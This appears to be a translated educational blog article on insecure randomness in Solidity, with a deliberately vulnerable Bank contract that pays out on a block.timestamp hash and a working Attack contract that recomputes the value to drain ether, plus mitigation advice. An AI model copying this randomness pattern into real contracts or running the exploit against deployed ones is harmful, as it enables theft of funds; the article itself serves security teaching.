Introduction
Hi, I'm cardene, a software engineer and technical writer focused on blockchain and AI.
I've also authored Japanese technical books on specification-driven development with LLMs and decentralized application (DApp) development.
I also build and publish a variety of tools, libraries, and open-source projects.
This article explains pseudorandom numbers and the precautions Solidity developers and bug bounty researchers should take when generating them.
For an introduction to bug bounties, see:
Introduction to Solidity Bug Bounties
Random numbers

Deterministic smart contract execution cannot independently generate secret, unpredictable randomness.
What is a random sequence? In mathematical terms, unpredictability means that knowing the preceding values does not let an observer predict the next value. Random sequences are discussed in the following reference:
Random sequences (Japanese Wikipedia)
A pseudorandom sequence, by contrast, is generated by a deterministic procedure. A pseudorandom number generator produces values that resemble random numbers, but an observer who knows its algorithm and internal state can reproduce the sequence. A true random source, such as an idealized physical dice roll, does not have that deterministic property.
Pseudorandom numbers (Japanese Wikipedia)
A cryptographically secure pseudorandom generator can nevertheless make prediction computationally infeasible when its internal state and seed remain secret. Public blockchain state does not provide that secrecy by itself.
Generating random-looking values in Solidity

A common but unsafe approach is to use block.timestamp, a Solidity global variable containing the current block's Unix timestamp in seconds.
For example, it may return:
1671676584The following example hashes that timestamp:
contract Random {
uint public timeStamp;
function getTimestamp() public {
timeStamp = uint(keccak256(abi.encodePacked(block.timestamp)));
}
}An example output is:
82900602863277076554855795883036762100946382919593605164316023959956869536790The keccak256 hash function produces the same output for the same input. The result may look random, but hashing a known input does not make it unpredictable.
The abi.encodePacked function packs its arguments together. For example, packing the strings "Cardene" and "Blog" produces the bytes of "CardeneBlog".
Multiple values can be supplied as comma-separated arguments, as in this example:
contract Random {
uint public timeStamp;
function getTimestamp() public {
timeStamp = uint(keccak256(abi.encodePacked(address(this), block.timestamp)));
}
}Adding a publicly known contract address does not make the timestamp a secure randomness source.
Insecure random values

The following toy contracts illustrate why publicly computable inputs must not determine valuable payouts.
contract Bank {
uint balance;
/// @notice 一定量の資金を預ける関数。
function deposit() public payable {
balance += msg.value;
}
/// @notice 擬似乱数が一致すれば1 ether受け取れる。
function guess(uint _guess) public payable {
uint answer = uint(
keccak256(abi.encodePacked(address(this), block.timestamp))
);
if (_guess == answer) {
balance --;
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}deposit
Accepts an Ether deposit and updates the recorded balance.
guess
Computes a pseudorandom value and sends 1 ether to the caller if the supplied value matches.
contract Attack {
Bank public bank;
constructor (Bank _bank) {
bank = Bank(_bank);
}
receive() external payable {}
/// @notice 擬似乱数を生成して資金を引き出す関数。
function attack() public {
uint answer = uint(
keccak256(abi.encodePacked(address(bank), block.timestamp))
);
bank.guess(answer);
}
/// @notice コントラクトが保持している資金を確認できる関数。
function getBalance() public view returns (uint) {
return address(this).balance;
}
}attack
The demonstration contract computes the same value and invokes the Bank contract's guess function.
getBalance
Returns the Ether balance held by the demonstration contract.
The original demonstration shows the result:

The matching value leads to a payout of 1 ether. Both calls execute in the same block and therefore observe the same timestamp; the contract address is also public. The outcome is reproducible rather than unpredictable.
Complete code
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
contract Bank {
uint balance;
/// @notice 一定量の資金を預ける関数。
function deposit() public payable {
balance += msg.value;
}
/// @notice 擬似乱数が一致すれば1 ether受け取れる。
function guess(uint _guess) public payable {
uint answer = uint(
keccak256(abi.encodePacked(address(this), block.timestamp))
);
if (_guess == answer) {
balance --;
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
Bank public bank;
constructor (Bank _bank) {
bank = Bank(_bank);
}
receive() external payable {}
/// @notice 擬似乱数を生成して資金を引き出す関数。
function attack() public {
uint answer = uint(
keccak256(abi.encodePacked(address(bank), block.timestamp))
);
bank.guess(answer);
}
/// @notice コントラクトが保持している資金を確認できる関数。
function getBalance() public view returns (uint) {
return address(this).balance;
}
}The example is based on:
The code and its original Japanese comments are preserved. Note that the example also decrements its internal balance counter by one rather than by 1 ether; it is an educational example, not a production accounting implementation.
Mitigation

Do not rely on block.timestamp as a source of unpredictable randomness. For applications that need verifiable randomness, consider a mechanism such as Chainlink VRF. The linked documentation reflects the original article's version of VRF.
Assess the application's threat model, including whether observers can predict the result or influence transaction inclusion. The fact that a value looks random does not establish its security.
Conclusion

This article examined pseudorandom number generation in Solidity and the risks of relying on block timestamps.
When designing smart contracts, distinguish deterministic calculations from sources of randomness that remain unpredictable to the relevant adversaries.
I regularly publish and share articles about Solidity, blockchain, and Web3.
References
https://wa3.i-3-i.info/word1461.html
https://coinsbench.com/insecure-source-of-randomness-hack-solidity-6-96860bd88ed3
